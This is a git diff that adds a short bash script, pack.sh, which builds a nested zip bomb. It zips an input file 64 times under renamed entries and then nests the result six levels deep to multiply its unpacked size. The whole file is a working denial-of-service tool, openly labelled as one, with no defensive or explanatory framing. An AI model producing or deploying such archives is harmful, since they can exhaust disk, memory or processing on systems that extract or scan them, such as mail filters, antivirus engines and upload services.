diff --git a/pack.sh b/pack.sh new file mode 100755 index 0000000..70949d5 --- /dev/null +++ b/pack.sh @@ -0,0 +1,39 @@ +#!/bin/bash + +# This sctipt takes a inputfile and creates a zip bomb with it + +COUNTS="64" +PREFIXLIST="page chapter book shelf floor library" + +#returns the fileextention of a file +function getExt { + extension="${1##*.}" + if [ "$extension" == "$1" ]; then + printf "" + else + printf ".$extension" + fi +} + +function add { # $1 origfile $2 zipfile $3 inzipname + #add file to archive + zip -9 -q "$2" "$1" + #rename + printf "@ $1\n@=$3\n" | zipnote -w "$2" +} + +function pack { # $1 prefix $2 count $3 outputzipfile $4inputfile + ext=$(getExt "$4") + for (( c=0; c<$2; c++ )); do + add "$4" "$3" "$1$c$ext" + done +} + +input="$1" + +for pref in $PREFIXLIST; do + echo "create a $pref" + pack "$pref" "$COUNTS" "tmp2.zip" "$input" + mv "tmp2.zip" "tmp.zip" + input="tmp.zip" +done